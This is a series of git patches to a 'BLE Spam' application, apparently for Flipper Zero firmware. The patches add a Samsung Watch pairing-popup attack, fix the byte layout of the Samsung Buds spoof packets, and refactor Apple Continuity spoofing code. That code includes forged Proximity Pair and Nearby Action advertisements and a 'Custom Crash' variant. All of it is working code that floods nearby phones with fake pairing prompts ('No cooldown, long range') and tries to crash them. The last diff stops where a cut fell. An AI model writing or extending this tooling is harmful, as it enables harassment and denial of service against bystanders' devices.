++- .../external/ble_spam/protocols/smartthings.c | 198 ++++++++++++++++++ .../external/ble_spam/protocols/smartthings.h | 4 + .../ble_spam/protocols/smartthings_scenes.h | 2 + 4 files changed, 227 insertions(+), 2 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index d929a4f6c..ae5d761c1 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -88,7 +88,7 @@ static Attack attacks[] = { }, }, { - .title = "Samsung Buds Pair", + .title = "Samsung Buds Popup", .text = "No cooldown, long range", .protocol = &protocol_smartthings, .payload = @@ -96,7 +96,28 @@ static Attack attacks[] = { .random_mac = true, .cfg = { - .smartthings = {}, + .smartthings = + { + .type = SmartthingsTypeBuds, + .data = {}, + }, + }, + }, + }, + { + .title = "Samsung Watch Pair", + .text = "No cooldown, long range", + .protocol = &protocol_smartthings, + .payload = + { + .random_mac = true, + .cfg = + { + .smartthings = + { + .type = SmartthingsTypeWatch, + .data = {}, + }, }, }, }, diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index 61e91f5ea..d53f12846 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -21,8 +21,42 @@ const struct { }; const uint8_t buds_models_count = COUNT_OF(buds_models); +const struct { + uint8_t value; + const char* name; +} watch_models[] = { + {0x01, "White Watch4 Classic 44"}, + {0x02, "Black Watch4 Classic 40"}, + {0x03, "White Watch4 Classic 40"}, + {0x04, "Black Watch4 44mm"}, + {0x05, "Silver Watch4 44mm"}, + {0x06, "Green Watch4 44mm"}, + {0x07, "Black Watch4 40mm"}, + {0x08, "White Watch4 40mm"}, + {0x09, "Gold Watch4 40mm"}, + {0x0a, "French Watch4"}, + {0x0b, "French Watch4 Classic"}, + {0x0c, "Fox Watch5 44mm"}, + {0x11, "Black Watch5 44mm"}, + {0x12, "Sapphire Watch5 44mm"}, + {0x13, "Purpleish Watch5 40mm"}, + {0x14, "Gold Watch5 40mm"}, + {0x15, "Black Watch5 Pro 45mm"}, + {0x16, "Gray Watch5 Pro 45mm"}, + {0x17, "White Watch5 44mm"}, + {0x18, "White & Black Watch5"}, + {0x1b, "Black Watch6 Pink 40mm"}, + {0x1c, "Gold Watch6 Gold 40mm"}, + {0x1d, "Silver Watch6 Cyan 44mm"}, + {0x1e, "Black Watch6 Classic 43mm"}, + {0x20, "Green Goofy"}, + {0x1a, "Fallback Watch"}, +}; +const uint8_t watch_models_count = COUNT_OF(watch_models); + static const char* type_names[SmartthingsTypeMAX] = { [SmartthingsTypeBuds] = "SmartThings Buds", + [SmartthingsTypeWatch] = "SmartThings Watch", }; static const char* smartthings_get_name(const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = &_cfg->smartthings; @@ -31,6 +65,7 @@ static const char* smartthings_get_name(const ProtocolCfg* _cfg) { static uint8_t packet_sizes[SmartthingsTypeMAX] = { [SmartthingsTypeBuds] = 31, + [SmartthingsTypeWatch] = 15, }; void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; @@ -90,6 +125,31 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot // Truncated AD segment, Android seems to fill in the rest with zeros break; } + case SmartthingsTypeWatch: { + uint8_t model; + if(cfg && cfg->data.watch.model != 0x00) { + model = cfg->data.watch.model; + } else { + model = watch_models[rand() % watch_models_count].value; + } + + packet[i++] = 14; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = 0x02; + packet[i++] = 0x00; + packet[i++] = 0x01; + packet[i++] = 0x01; + packet[i++] = 0xFF; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x43; + packet[i++] = (model >> 0x00) & 0xFF; + break; + } default: break; } @@ -102,6 +162,10 @@ enum { _ConfigBudsExtraStart = ConfigExtraStart, ConfigBudsModel, }; +enum { + _ConfigWatchExtraStart = ConfigExtraStart, + ConfigWatchModel, +}; static void config_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; @@ -117,6 +181,16 @@ static void config_callback(void* _ctx, uint32_t index) { } break; } + case SmartthingsTypeWatch: { + switch(index) { + case ConfigWatchModel: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModel); + break; + default: + break; + } + break; + } default: break; } @@ -133,6 +207,18 @@ static void buds_model_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Random"); } } +static void watch_model_changed(VariableItem* item) { + SmartthingsCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data.watch.model = watch_models[index].value; + variable_item_set_current_value_text(item, watch_models[index].name); + } else { + cfg->data.watch.model = 0x00; + variable_item_set_current_value_text(item, "Random"); + } +} static void smartthings_extra_config(Ctx* ctx) { SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; VariableItemList* list = ctx->variable_item_list; @@ -166,6 +252,32 @@ static void smartthings_extra_config(Ctx* ctx) { variable_item_set_current_value_text(item, model_name); break; } + case SmartthingsTypeWatch: { + item = variable_item_list_add( + list, "Model", watch_models_count + 1, watch_model_changed, cfg); + const char* model_name = NULL; + char model_name_buf[3]; + if(cfg->data.watch.model == 0x00) { + model_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < watch_models_count; i++) { + if(cfg->data.watch.model == watch_models[i].value) { + model_name = watch_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model); + model_name = model_name_buf; + value_index = watch_models_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + break; + } default: break; } @@ -268,3 +380,89 @@ void scene_smartthings_buds_model_custom_on_exit(void* _ctx) { cfg->data.buds.model = (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); } + +static void watch_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + switch(index) { + case 0: + cfg->data.watch.model = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case watch_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsWatchModelCustom); + break; + default: + cfg->data.watch.model = watch_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_smartthings_watch_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx); + if(cfg->data.watch.model == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < watch_models_count; i++) { + submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx); + if(!found && cfg->data.watch.model == watch_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx); + if(!found) { + found = true; + selected = watch_models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_smartthings_watch_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_watch_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void watch_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_smartthings_watch_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model"); + + ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_smartthings_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_watch_model_custom_on_exit(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + cfg->data.watch.model = (ctx->byte_store[0] << 0x00); +} diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h index 38717abd0..36c3e9e81 100644 --- a/applications/external/ble_spam/protocols/smartthings.h +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -6,6 +6,7 @@ typedef enum { SmartthingsTypeBuds, + SmartthingsTypeWatch, SmartthingsTypeMAX, } SmartthingsType; @@ -15,6 +16,9 @@ typedef struct { struct { uint32_t model; } buds; + struct { + uint8_t model; + } watch; } data; } SmartthingsCfg; diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h index d765e4922..d184880da 100644 --- a/applications/external/ble_spam/protocols/smartthings_scenes.h +++ b/applications/external/ble_spam/protocols/smartthings_scenes.h @@ -1,2 +1,4 @@ ADD_SCENE(smartthings_buds_model, SmartthingsBudsModel) ADD_SCENE(smartthings_buds_model_custom, SmartthingsBudsModelCustom) +ADD_SCENE(smartthings_watch_model, SmartthingsWatchModel) +ADD_SCENE(smartthings_watch_model_custom, SmartthingsWatchModelCustom) From 8fe0650bed9f52883fe7cb3f841c96d73cccbf73 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 03:55:37 +0100 Subject: [PATCH 28/41] BLE Spam fix some Samsung Buds things --- .../external/ble_spam/protocols/smartthings.c | 38 ++++++++++++------- 1 file changed, 24 insertions(+), 14 deletions(-) diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c index d53f12846..5b37518d2 100644 --- a/applications/external/ble_spam/protocols/smartthings.c +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -8,16 +8,26 @@ const struct { uint32_t value; const char* name; } buds_models[] = { - {0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"}, - {0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"}, - {0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"}, - {0xB8B905, "Pure White Buds V2"}, {0xEAAA17, "Pure White Buds"}, - {0xD30704, "Black Buds V2"}, {0x101F1A, "Dark Purple Buds Live"}, - {0x9DB006, "French Flag Buds V2"}, {0x859608, "Dark Blue Buds V2"}, - {0x8E4503, "Pink Buds V2"}, {0x2C6740, "White and Black Buds"}, - {0x3F6718, "Bronze Buds Live"}, {0x42C519, "Red Buds Live"}, - {0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"}, - {0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"}, + {0x39EA48, "Light Purple Buds2"}, + {0xA7C62C, "Bluish Silver Buds2"}, + {0x850116, "Black Buds Live"}, + {0x3D8F41, "Gray & Black Buds2"}, + {0x3B6D02, "Bluish Chrome Buds2"}, + {0xAE063C, "Gray Beige Buds2"}, + {0xB8B905, "Pure White Buds"}, + {0xEAAA17, "Pure White Buds2"}, + {0xD30704, "Black Buds"}, + {0x9DB006, "French Flag Buds"}, + {0x101F1A, "Dark Purple Buds Live"}, + {0x859608, "Dark Blue Buds"}, + {0x8E4503, "Pink Buds"}, + {0x2C6740, "White & Black Buds2"}, + {0x3F6718, "Bronze Buds Live"}, + {0x42C519, "Red Buds Live"}, + {0xAE073A, "Black & White Buds2"}, + {0x011716, "Sleek Black Buds2"}, + {0x9D1700, "Fallback Image"}, + {0xEE7A0C, "Fallback Buds"}, }; const uint8_t buds_models_count = COUNT_OF(buds_models); @@ -103,20 +113,20 @@ void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const Prot packet[i++] = 0x03; packet[i++] = 0x21; packet[i++] = 0x01; - packet[i++] = 0x00; + packet[i++] = 0x09; packet[i++] = (model >> 0x10) & 0xFF; packet[i++] = (model >> 0x08) & 0xFF; packet[i++] = 0x01; packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 0x06; packet[i++] = 0x3C; + packet[i++] = 0x94; + packet[i++] = 0x8e; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; - packet[i++] = 0x00; + packet[i++] = 0xc7; packet[i++] = 0x00; packet[i++] = 16; // Size From 9d3e347f35fa04652fa9e4dd90a70c4e1b5e7ee1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 21 Oct 2023 04:36:38 +0100 Subject: [PATCH 29/41] Tidy up some code and patterns --- .../external/ble_spam/protocols/continuity.c | 183 +++++++++--------- .../external/ble_spam/protocols/continuity.h | 6 +- .../ble_spam/protocols/continuity_scenes.h | 8 +- .../external/ble_spam/protocols/fastpair.c | 83 ++++---- .../external/ble_spam/protocols/fastpair.h | 2 +- .../ble_spam/protocols/fastpair_scenes.h | 4 +- .../external/ble_spam/protocols/smartthings.c | 36 ++-- .../external/ble_spam/protocols/smartthings.h | 2 +- .../external/ble_spam/protocols/swiftpair.c | 38 ++-- .../external/ble_spam/protocols/swiftpair.h | 2 +- .../ble_spam/protocols/swiftpair_scenes.h | 2 +- .../external/ble_spam/scenes/_setup.c | 2 +- .../external/ble_spam/scenes/_setup.h | 2 +- 13 files changed, 183 insertions(+), 187 deletions(-) diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 24940dd40..e253f65c1 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -7,7 +7,7 @@ // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ const struct { - uint16_t id; + uint16_t value; const char* name; } pp_models[] = { {0x0E20, "AirPods Pro"}, @@ -43,7 +43,7 @@ const struct { const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes); const struct { - uint8_t type; + uint8_t value; const char* name; } na_actions[] = { {0x13, "AppleTV AutoFill"}, @@ -61,7 +61,7 @@ const struct { }; const uint8_t na_actions_count = COUNT_OF(na_actions); -static const char* type_names[ContinuityTypeCount] = { +static const char* type_names[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = "AirDrop", [ContinuityTypeProximityPair] = "Proximity Pair", [ContinuityTypeAirplayTarget] = "Airplay Target", @@ -77,7 +77,7 @@ static const char* continuity_get_name(const ProtocolCfg* _cfg) { } #define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size -static uint8_t packet_sizes[ContinuityTypeCount] = { +static uint8_t packet_sizes[ContinuityTypeCOUNT] = { [ContinuityTypeAirDrop] = HEADER_LEN + 18, [ContinuityTypeProximityPair] = HEADER_LEN + 25, [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, @@ -138,26 +138,26 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot } case ContinuityTypeProximityPair: { - uint16_t model_id; - if(cfg && cfg->data.proximity_pair.model_id != 0x0000) { - model_id = cfg->data.proximity_pair.model_id; + uint16_t model; + if(cfg && cfg->data.proximity_pair.model != 0x0000) { + model = cfg->data.proximity_pair.model; } else { - model_id = pp_models[rand() % pp_models_count].id; + model = pp_models[rand() % pp_models_count].value; } uint8_t prefix; if(cfg && cfg->data.proximity_pair.prefix == 0x00) { prefix = cfg->data.proximity_pair.prefix; } else { - if(model_id == 0x0055 || model_id == 0x0030) + if(model == 0x0055 || model == 0x0030) prefix = 0x05; else prefix = 0x01; } packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) - packet[i++] = (model_id >> 0x08) & 0xFF; - packet[i++] = (model_id >> 0x00) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 0x55; // Status packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level @@ -209,23 +209,23 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeNearbyAction: { uint8_t action; - if(cfg && cfg->data.nearby_action.type != 0x00) { - action = cfg->data.nearby_action.type; + if(cfg && cfg->data.nearby_action.action != 0x00) { + action = cfg->data.nearby_action.action; } else { - action = na_actions[rand() % na_actions_count].type; + action = na_actions[rand() % na_actions_count].value; } - uint8_t flag; + uint8_t flags; if(cfg && cfg->data.nearby_action.flags != 0x00) { - flag = cfg->data.nearby_action.flags; + flags = cfg->data.nearby_action.flags; } else { - flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' } - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; break; @@ -243,16 +243,16 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot case ContinuityTypeCustomCrash: { // Found by @ECTO-1A - uint8_t action = na_actions[rand() % na_actions_count].type; - uint8_t flag = 0xC0; - if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?' - if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device' + uint8_t action = na_actions[rand() % na_actions_count].value; + uint8_t flags = 0xC0; + if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?' + if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device' i -= 2; // Override segment header packet[i++] = ContinuityTypeNearbyAction; // Continuity Type packet[i++] = 0x05; // Continuity Size - packet[i++] = flag; // Action Flags - packet[i++] = action; // Action Type + packet[i++] = flags; + packet[i++] = action; furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag i += 3; @@ -275,12 +275,12 @@ static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const Prot enum { _ConfigPpExtraStart = ConfigExtraStart, - ConfigPpModelId, + ConfigPpModel, ConfigPpPrefix, }; enum { _ConfigNaExtraStart = ConfigExtraStart, - ConfigNaActionType, + ConfigNaAction, ConfigNaFlags, }; static void config_callback(void* _ctx, uint32_t index) { @@ -290,8 +290,8 @@ static void config_callback(void* _ctx, uint32_t index) { switch(cfg->type) { case ContinuityTypeProximityPair: { switch(index) { - case ConfigPpModelId: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelId); + case ConfigPpModel: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel); break; case ConfigPpPrefix: scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix); @@ -303,8 +303,8 @@ static void config_callback(void* _ctx, uint32_t index) { } case ContinuityTypeNearbyAction: { switch(index) { - case ConfigNaActionType: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionType); + case ConfigNaAction: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction); break; case ConfigNaFlags: scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags); @@ -318,15 +318,15 @@ static void config_callback(void* _ctx, uint32_t index) { break; } } -static void pp_model_id_changed(VariableItem* item) { +static void pp_model_changed(VariableItem* item) { ContinuityCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->data.proximity_pair.model_id = pp_models[index].id; + cfg->data.proximity_pair.model = pp_models[index].value; variable_item_set_current_value_text(item, pp_models[index].name); } else { - cfg->data.proximity_pair.model_id = 0x0000; + cfg->data.proximity_pair.model = 0x0000; variable_item_set_current_value_text(item, "Random"); } } @@ -342,15 +342,15 @@ static void pp_prefix_changed(VariableItem* item) { variable_item_set_current_value_text(item, "Auto"); } } -static void na_action_type_changed(VariableItem* item) { +static void na_action_changed(VariableItem* item) { ContinuityCfg* cfg = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); if(index) { index--; - cfg->data.nearby_action.type = na_actions[index].type; + cfg->data.nearby_action.action = na_actions[index].value; variable_item_set_current_value_text(item, na_actions[index].name); } else { - cfg->data.nearby_action.type = 0x00; + cfg->data.nearby_action.action = 0x00; variable_item_set_current_value_text(item, "Random"); } } @@ -362,16 +362,16 @@ static void continuity_extra_config(Ctx* ctx) { switch(cfg->type) { case ContinuityTypeProximityPair: { - item = variable_item_list_add( - list, "Model ID", pp_models_count + 1, pp_model_id_changed, cfg); + item = + variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg); const char* model_name = NULL; char model_name_buf[5]; - if(cfg->data.proximity_pair.model_id == 0x0000) { + if(cfg->data.proximity_pair.model == 0x0000) { model_name = "Random"; value_index = 0; } else { for(uint8_t i = 0; i < pp_models_count; i++) { - if(cfg->data.proximity_pair.model_id == pp_models[i].id) { + if(cfg->data.proximity_pair.model == pp_models[i].value) { model_name = pp_models[i].name; value_index = i + 1; break; @@ -379,10 +379,7 @@ static void continuity_extra_config(Ctx* ctx) { } if(!model_name) { snprintf( - model_name_buf, - sizeof(model_name_buf), - "%04X", - cfg->data.proximity_pair.model_id); + model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model); model_name = model_name_buf; value_index = pp_models_count + 1; } @@ -421,15 +418,15 @@ static void continuity_extra_config(Ctx* ctx) { } case ContinuityTypeNearbyAction: { item = variable_item_list_add( - list, "Action Type", na_actions_count + 1, na_action_type_changed, cfg); + list, "Action Type", na_actions_count + 1, na_action_changed, cfg); const char* action_name = NULL; char action_name_buf[3]; - if(cfg->data.nearby_action.type == 0x00) { + if(cfg->data.nearby_action.action == 0x00) { action_name = "Random"; value_index = 0; } else { for(uint8_t i = 0; i < na_actions_count; i++) { - if(cfg->data.nearby_action.type == na_actions[i].type) { + if(cfg->data.nearby_action.action == na_actions[i].value) { action_name = na_actions[i].name; value_index = i + 1; break; @@ -437,7 +434,10 @@ static void continuity_extra_config(Ctx* ctx) { } if(!action_name) { snprintf( - action_name_buf, sizeof(action_name_buf), "%02X", cfg->data.nearby_action.type); + action_name_buf, + sizeof(action_name_buf), + "%02X", + cfg->data.nearby_action.action); action_name = action_name_buf; value_index = na_actions_count + 1; } @@ -477,24 +477,24 @@ const Protocol protocol_continuity = { .extra_config = continuity_extra_config, }; -static void pp_model_id_callback(void* _ctx, uint32_t index) { +static void pp_model_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; switch(index) { case 0: - cfg->data.proximity_pair.model_id = 0x0000; + cfg->data.proximity_pair.model = 0x0000; scene_manager_previous_scene(ctx->scene_manager); break; case pp_models_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelIdCustom); + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelCustom); break; default: - cfg->data.proximity_pair.model_id = pp_models[index - 1].id; + cfg->data.proximity_pair.model = pp_models[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_continuity_pp_model_id_on_enter(void* _ctx) { +void scene_continuity_pp_model_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; Submenu* submenu = ctx->submenu; @@ -502,19 +502,19 @@ void scene_continuity_pp_model_id_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, pp_model_id_callback, ctx); - if(cfg->data.proximity_pair.model_id == 0x0000) { + submenu_add_item(submenu, "Random", 0, pp_model_callback, ctx); + if(cfg->data.proximity_pair.model == 0x0000) { found = true; selected = 0; } for(uint8_t i = 0; i < pp_models_count; i++) { - submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_id_callback, ctx); - if(!found && cfg->data.proximity_pair.model_id == pp_models[i].id) { + submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_callback, ctx); + if(!found && cfg->data.proximity_pair.model == pp_models[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_id_callback, ctx); + submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_callback, ctx); if(!found) { found = true; selected = pp_models_count + 1; @@ -524,45 +524,44 @@ void scene_continuity_pp_model_id_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_continuity_pp_model_id_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_continuity_pp_model_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_pp_model_id_on_exit(void* _ctx) { +void scene_continuity_pp_model_on_exit(void* _ctx) { UNUSED(_ctx); } -static void pp_model_id_custom_callback(void* _ctx) { +static void pp_model_custom_callback(void* _ctx) { Ctx* ctx = _ctx; scene_manager_previous_scene(ctx->scene_manager); scene_manager_previous_scene(ctx->scene_manager); } -void scene_continuity_pp_model_id_custom_on_enter(void* _ctx) { +void scene_continuity_pp_model_custom_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; ByteInput* byte_input = ctx->byte_input; - byte_input_set_header_text(byte_input, "Enter custom Model ID"); + byte_input_set_header_text(byte_input, "Enter custom Model Code"); - ctx->byte_store[0] = (cfg->data.proximity_pair.model_id >> 0x08) & 0xFF; - ctx->byte_store[1] = (cfg->data.proximity_pair.model_id >> 0x00) & 0xFF; + ctx->byte_store[0] = (cfg->data.proximity_pair.model >> 0x08) & 0xFF; + ctx->byte_store[1] = (cfg->data.proximity_pair.model >> 0x00) & 0xFF; byte_input_set_result_callback( - byte_input, pp_model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); + byte_input, pp_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } -bool scene_continuity_pp_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { +bool scene_continuity_pp_model_custom_on_event(void* _ctx, SceneManagerEvent event) { UNUSED(_ctx); UNUSED(event); return false; } -void scene_continuity_pp_model_id_custom_on_exit(void* _ctx) { +void scene_continuity_pp_model_custom_on_exit(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; - cfg->data.proximity_pair.model_id = - (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); + cfg->data.proximity_pair.model = (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); } static void pp_prefix_callback(void* _ctx, uint32_t index) { @@ -651,24 +650,24 @@ void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); } -static void na_action_type_callback(void* _ctx, uint32_t index) { +static void na_action_callback(void* _ctx, uint32_t index) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; switch(index) { case 0: - cfg->data.nearby_action.type = 0x00; + cfg->data.nearby_action.action = 0x00; scene_manager_previous_scene(ctx->scene_manager); break; case na_actions_count + 1: - scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionTypeCustom); + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionCustom); break; default: - cfg->data.nearby_action.type = na_actions[index - 1].type; + cfg->data.nearby_action.action = na_actions[index - 1].value; scene_manager_previous_scene(ctx->scene_manager); break; } } -void scene_continuity_na_action_type_on_enter(void* _ctx) { +void scene_continuity_na_action_on_enter(void* _ctx) { Ctx* ctx = _ctx; ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; Submenu* submenu = ctx->submenu; @@ -676,19 +675,19 @@ void scene_continuity_na_action_type_on_enter(void* _ctx) { bool found = false; submenu_reset(submenu); - submenu_add_item(submenu, "Random", 0, na_action_type_callback, ctx); - if(cfg->data.nearby_action.type == 0x00) { + submenu_add_item(submenu, "Random", 0, na_action_callback, ctx); + if(cfg->data.nearby_action.action == 0x00) { found = true; selected = 0; } for(uint8_t i = 0; i < na_actions_count; i++) { - submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_type_callback, ctx); - if(!found && cfg->data.nearby_action.type == na_actions[i].type) { + submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_callback, ctx); + if(!found && cfg->data.nearby_action.action == na_actions[i].value) { found = true; selected = i + 1; } } - submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_type_callback, ctx); + submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_callback, ctx); if(!found) { found = true; selected = na_actions_count + 1; @@ -698,43 +697,43 @@ void scene_continuity_na_action_type_on_enter(void* _ctx) { view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); } -bool scene_continuity_na_action_type_on_event(void* _ctx, 